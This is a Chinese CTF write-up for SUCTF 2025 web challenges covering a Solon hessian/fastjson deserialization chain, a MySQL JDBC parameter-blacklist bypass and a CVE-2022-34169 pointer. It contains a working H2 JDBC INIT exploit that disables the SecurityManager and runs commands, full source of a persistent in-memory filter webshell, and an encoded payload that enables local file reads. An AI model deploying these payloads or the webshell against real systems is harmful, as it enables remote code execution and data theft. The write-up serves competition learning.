青丝白发一瞬间,年华老去向谁言。
春风若有怜花意,可否许我再少年?

学习ing

SU_ez_solon

先看到pom.xml,主要依赖如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<dependency>
<groupId>com.alipay.sofa</groupId>
<artifactId>hessian</artifactId>
<version>3.5.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>

<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.224</version>
</dependency>

框架为:Solon3.0.4.1

开局就一个hessian2反序列化,然后调用object.toString(),这里就猜测是通过fastjson触发getter,看到黑名单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
aj.org.objectweb.asm.
br.com.anteros.
bsh.
ch.qos.logback.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.druid.stat.JdbcDataSourceStat
com.alibaba.fastjson.annotation.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.hessian.test.TestCons
com.caucho.naming.Qname
com.ibatis.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.
com.mysql.cj.jdbc.admin.
com.mysql.cj.jdbc.MysqlConnectionPoolDataSource
com.mysql.cj.jdbc.MysqlDataSource
com.mysql.cj.jdbc.MysqlXADataSource
com.mysql.cj.log.
com.mysql.jdbc.util.
com.p6spy.engine.
com.rometools.rome.feed.
com.sun.
com.taobao.eagleeye.wrapper.
com.taobao.vipserver.commons.collections.functors.
com.zaxxer.hikari.
flex.messaging.util.concurrent.
groovy.lang.
java.awt.
java.beans.
java.net.InetAddress
java.net.Socket
java.net.URL
java.rmi.
java.security.
java.util.EventListener
java.util.jar.
java.util.logging.
java.util.prefs.
java.util.ServiceLoader
java.util.StringTokenizer
javassist.
javax.activation.
javax.imageio.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.net.
javax.print.
javax.script.
javax.sound.
javax.swing.
javax.tools.
javax.xml
jdk.internal.
jodd.db.connection.
junit.
net.bytebuddy.dynamic.loading.
net.sf.cglib.
net.sf.ehcache.hibernate.
net.sf.ehcache.transaction.manager.
ognl.
oracle.jdbc.
oracle.jms.aq.
oracle.net.
org.aoju.bus.proxy.provider.
org.apache.activemq.ActiveMQConnectionFactory
org.apache.activemq.ActiveMQXAConnectionFactory
org.apache.activemq.jms.pool.
org.apache.activemq.pool.
org.apache.activemq.spring.
org.apache.aries.transaction.
org.apache.axis2.jaxws.spi.handler.
org.apache.axis2.transport.jms.
org.apache.bcel.
org.apache.carbondata.core.scan.expression.
org.apache.catalina.
org.apache.cocoon.
org.apache.commons.beanutils.
org.apache.commons.codec.
org.apache.commons.collections.comparators.
org.apache.commons.collections.functors.
org.apache.commons.collections.Transformer
org.apache.commons.collections4.comparators.
org.apache.commons.collections4.functors.
org.apache.commons.collections4.Transformer
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.
org.apache.commons.fileupload.
org.apache.commons.jelly.
org.apache.commons.logging.
org.apache.commons.proxy.
org.apache.cxf.jaxrs.provider.
org.apache.hadoop.shaded.com.zaxxer.hikari.
org.apache.http.auth.
org.apache.http.conn.
org.apache.http.cookie.
org.apache.http.impl.
org.apache.ibatis.datasource.
org.apache.ibatis.executor.
org.apache.ibatis.javassist.
org.apache.ibatis.ognl.
org.apache.ibatis.parsing.
org.apache.ibatis.reflection.
org.apache.ibatis.scripting.
org.apache.ignite.cache.
org.apache.ignite.cache.jta.
org.apache.log.output.db.
org.apache.log4j.
org.apache.logging.
org.apache.myfaces.context.servlet.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.
org.apache.xbean.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.
org.codehaus.groovy.runtime.
org.codehaus.jackson.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.dom4j.
org.eclipse.jetty.
org.geotools.filter.
org.h2.jdbcx.
org.h2.server.
org.h2.value.
org.hibernate.
org.javasimon.
org.jaxen.
org.jboss.
org.jdom.
org.jdom2.transform.
org.junit.
org.logicalcobwebs.
org.mockito.
org.mortbay.jetty.
org.mortbay.log.
org.mozilla.javascript.
org.objectweb.asm.
org.osjava.sj.
org.python.core.
org.quartz.
org.slf4j.
org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder
org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
org.springframework.beans.factory.BeanFactory
org.springframework.beans.factory.config.PropertyPathFactoryBean
org.springframework.beans.factory.support.DefaultListableBeanFactory
org.springframework.jndi.support.SimpleJndiBeanFactory
org.springframework.orm.jpa.AbstractEntityManagerFactoryBean
org.springframework.transaction.jta.JtaTransactionManager
org.springframework.jndi.JndiObjectTargetSource
org.springframework.beans.factory.config.MethodInvokingFactoryBean
org.thymeleaf.
org.yaml.snakeyaml.tokens.
pstore.shaded.org.apache.commons.collections.
sun.print.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.

把已知的getter链都ban掉了,需要找一条新链

使用tabby进行挖掘

1
2
match path=(m1:Method)-[:CALL*..10]->(m2:Method {IS_SINK:true}) where m1.NAME =~ "get.*" and m1.PARAMETER_SIZE=0 and m2.VUL="JNDI"
return path limit 10

很容易就可以找到类org.noear.solon.data.util.UnpooledDataSource

通过DriverManager.getConnection实现JDBC利用,正好可以打H2数据库

还需要绕过securityManager

在命令执行之前System.setSecurityManager(null);就可以了

exp:

1
2
3
4
UnpooledDataSource unpooledDataSource = new UnpooledDataSource("jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {System.setSecurityManager(null)\\;Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('open -a Calculator.app')\\;","a","a","org.h2.Driver");
unpooledDataSource.setLogWriter(null);
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", unpooledDataSource);

内存马实现

既然碰到了Solon框架,顺便实现一下内存马吧,网上也已经给出过具体思路了,简单看一下

参考:Solon框架注入内存马

通过官方文档:认识请求上下文(Context)

1
Context ctx = Context.current();

直接获取当前上下文(基于 ThreadLocal 实现)

获取_chainManager

org.noear.solon.core.ChainManager这个类存在addFilter方法,可以动态添加Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.noear.solon.core.ChainManager;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;
import java.lang.reflect.Field;

public class FilterMemshell implements Filter {
static {
try {
Context ctx = Context.current();
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");
_chainManager.addFilter(new FilterMemshell(),0);
}catch (Exception e){
e.printStackTrace();
}
}
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
try {
System.setSecurityManager(null);
if (ctx.param("cmd") != null) {
String str = ctx.param("cmd");
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str};
String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
ctx.output(output);
} catch (Exception e) {
e.printStackTrace();
}
}
} catch (Throwable e) {
ctx.output(e.getMessage());
}
chain.doFilter(ctx);
}
public static Object getfieldobj(Object obj, String Filename) throws NoSuchFieldException, IllegalAccessException {
try{
Field field = obj.getClass().getDeclaredField(Filename);
field.setAccessible(true);
Object fieldobj = field.get(obj);
return fieldobj;
}catch (NoSuchFieldException e) {
Field field = obj.getClass().getSuperclass().getDeclaredField(Filename);
field.setAccessible(true);
Object fieldobj = field.get(obj);
return fieldobj;
}
}
}

成功写入内存马

SU_sujava

网上泄露了一个危险的接口,但是不太聪明的程序员设计了防护去保护它,你能绕过吗。顺带一提,给出的源码存在混淆

jd-gui反编译 SecurityChecker.class 得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
import com.pho3n1x.sujava.security.SecurityChecker;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.stream.Collectors;
import org.apache.commons.lang3.StringUtils;

public class SecurityChecker {
public static final String checklist = "allowLoadLocalInfile,autoDeserialize,allowLocalInfile,allowUrlInLocalInfile,#";
public static void checkJdbcConnParams(String host, Integer port, String username, String password, String database, Map<String, Object> extraParams) throws Exception {
if (!host.trim().matches("^[a-zA-Z0-9.-]+$") || !database.matches("^[a-zA-Z0-9_]+$") || parseParamsMapToMysqlParamUrl(extraParams).matches(".*(allowLoadLocalInfile|autoDeserialize|allowLocalInfile|allowUrlInLocalInfile|#|%).*")) {
throw new Exception("Invalid mysql connection params.");
}
};

public static String MYSQL_SECURITY_CHECK_ENABLE = "true";

public static String MYSQL_CONNECT_URL = "jdbc:mysql://%s:%s/%s";

public static String JDBC_MYSQL_PROTOCOL = "jdbc:mysql";

public static String JDBC_MATCH_REGEX = "(?i)jdbc:(?i)(mysql)://([^:]+)(:[0-9]+)?(/[a-zA-Z0-9_-]*[\\.\\-]?)?";

private static final String AND_SYMBOL = "&";

private static final String EQUAL_SIGN = "=";

public static String MYSQL_SENSITIVE_PARAMS = "allowLoadLocalInfile,autoDeserialize,allowLocalInfile,allowUrlInLocalInfile,#";

private static final String COMMA = ",";

private static final String BLACKLIST_REGEX = "autodeserialize|allowloadlocalinfile|allowurlinlocalinfile|allowloadlocalinfileinpath";

public static void checkJdbcConnParams(String paramString1, Integer paramInteger, String paramString2, String paramString3, String paramString4, Map<String, Object> paramMap) throws Exception {
if (!Boolean.valueOf(MYSQL_SECURITY_CHECK_ENABLE).booleanValue())
return;
if (StringUtils.isAnyBlank(new CharSequence[] { paramString1, paramString2 }))
throw new Exception("Invalid mysql connection params.");
String str = String.format(MYSQL_CONNECT_URL, new Object[] { paramString1.trim(), paramInteger, paramString4.trim() });
checkHost(paramString1.trim());
checkUrl(str);
checkParams(paramMap);
checkUrlIsSafe(str);
}

public static void checkHost(String paramString) throws Exception {
if (paramString == null)
return;
if (paramString.startsWith("(") || paramString.endsWith(")"))
throw new Exception("Invalid host");
}

public static void checkUrl(String paramString) throws Exception {
if (paramString != null && !paramString.toLowerCase().startsWith(JDBC_MYSQL_PROTOCOL))
return;
Pattern pattern = Pattern.compile(JDBC_MATCH_REGEX);
Matcher matcher = pattern.matcher(paramString);
if (!matcher.matches())
throw new Exception();
}

private static Map<String, Object> parseMysqlUrlParamsToMap(String paramString) {
if (StringUtils.isBlank(paramString))
return new HashMap<>();
String[] arrayOfString = paramString.split("&");
HashMap<Object, Object> hashMap = new HashMap<>(arrayOfString.length);
for (String str : arrayOfString) {
String[] arrayOfString1 = str.split("=");
if (arrayOfString1.length == 2)
hashMap.put(arrayOfString1[0], arrayOfString1[1]);
}
return (Map)hashMap;
}

public static String parseParamsMapToMysqlParamUrl(Map<String, Object> paramMap) {
return (paramMap == null || paramMap.isEmpty()) ? "" : paramMap.entrySet().stream().map(paramEntry -> String.join("=", new CharSequence[] { (CharSequence)paramEntry.getKey(), String.valueOf(paramEntry.getValue()) })).collect(Collectors.joining("&"));
}

private static void checkParams(Map<String, Object> paramMap) throws Exception {
if (paramMap == null || paramMap.isEmpty())
return;
String str = parseParamsMapToMysqlParamUrl(paramMap);
try {
str = URLDecoder.decode(str, "UTF-8");
} catch (UnsupportedEncodingException unsupportedEncodingException) {
throw new Exception("mysql connection cul decode error: " + unsupportedEncodingException);
}
Map<String, Object> map = parseMysqlUrlParamsToMap(str);
paramMap.clear();
paramMap.putAll(map);
Iterator<Map.Entry> iterator = paramMap.entrySet().iterator();
while (iterator.hasNext()) {
Map.Entry entry = iterator.next();
String str1 = (String)entry.getKey();
Object object = entry.getValue();
if (StringUtils.isBlank(str1) || object == null || StringUtils.isBlank(object.toString())) {
iterator.remove();
continue;
}
if (isNotSecurity(str1, object.toString()))
throw new Exception("Invalid mysql connection parameters: " + parseParamsMapToMysqlParamUrl(paramMap));
}
}

private static boolean isNotSecurity(String paramString1, String paramString2) {
boolean bool = true;
String str = MYSQL_SENSITIVE_PARAMS;
if (StringUtils.isBlank(str))
return false;
String[] arrayOfString = str.split(",");
for (String str1 : arrayOfString) {
if (isNotSecurity(paramString1, paramString2, str1)) {
bool = false;
break;
}
}
return !bool;
}

private static boolean isNotSecurity(String paramString1, String paramString2, String paramString3) {
return (paramString1.toLowerCase().contains(paramString3.toLowerCase()) || paramString2.toLowerCase().contains(paramString3.toLowerCase()));
}

public static void checkUrlIsSafe(String paramString) throws Exception {
try {
String str = paramString.toLowerCase();
Pattern pattern = Pattern.compile("autodeserialize|allowloadlocalinfile|allowurlinlocalinfile|allowloadlocalinfileinpath");
Matcher matcher = pattern.matcher(str);
StringBuilder stringBuilder = new StringBuilder();
while (matcher.find()) {
if (stringBuilder.length() > 0)
stringBuilder.append(", ");
stringBuilder.append(matcher.group());
}
if (stringBuilder.length() > 0)
throw new Exception("url contains blacklisted characters: " + stringBuilder);
} catch (Exception exception) {
throw new Exception("error occurred during url security check: " + exception);
}
}

public static void appendMysqlForceParams(Map<String, Object> paramMap) {
paramMap.putAll(parseMysqlUrlParamsToMap("allowLoadLocalInfile=false&autoDeserialize=false&allowLocalInfile=false&allowUrlInLocalInfile=false"));
}
}

发现是一个Mysql JDBC的操作,需要绕过以下check:

  1. host不能(开头,)结尾
  2. str需要满足正则:(?i)jdbc:(?i)(mysql)://([^:]+)(:[0-9]+)?(/[a-zA-Z0-9_-]*[\\.\\-]?)?
  3. 在url的最后会强制添加allowLoadLocalInfile=false&autoDeserialize=false&allowLocalInfile=false&allowUrlInLocalInfile=false
  4. 匹配关键字:autodeserialize|allowloadlocalinfile|allowurlinlocalinfile|allowloadlocalinfileinpath

很经典的:https://github.com/Y4Sec-Team/mysql-jdbc-tricks

  • 由于MySQL驱动允许URL编码,这样就可以绕过关键字
  • 在正则中([^:]+)匹配非冒号字符串,假如我们传入的字符串中没有冒号,就可以插入任意语句
  • 通过#号注释掉强行添加的内容

看到:https://mysql.net.cn/doc/connector-j/8.0/en/connector-j-reference-jdbc-url-format.html

我们可以传入jdbc:mysql://address=(host=myhost)(port=1111)(key1=value1)/db类似的键值对

官方给出的exp:

1
2
3
4
/jdbc

post:
host=ADDRESS=(host=127.0.0.1)(port=3306)(database=test)(user=fileread_file%3A%2F%2F%2F.)(%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=true)(%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65%49%6e%50%61%74%68=%2F)(%61%6c%6c%6f%77%55%72%6c%49%6e%4c%6f%63%61%6c%49%6e%66%69%6c%65=true)(%6d%61%78%41%6c%6c%6f%77%65%64%50%61%63%6b%65%74=655360)#/test&port=3306&database=test&extraParams={}&username=test&password=root

最后传参记得再URL编码一次

剩下一个SU_PWN,考查的CVE-2022-34169
POC:https://gist.github.com/thanatoskira/07dd6124f7d8197b48bc9e2ce900937f
黑名单可以用

1
<?xml version="1.0" encoding="UTF-16"?>

绕过,也可以将关键字转换为HTML实体编码绕过

还有一个SU_ez_micronaut,出题人已经解答的很详细了,膜拜:https://www.yulate.com/post/suctf2025-chu-ti-ji-lu/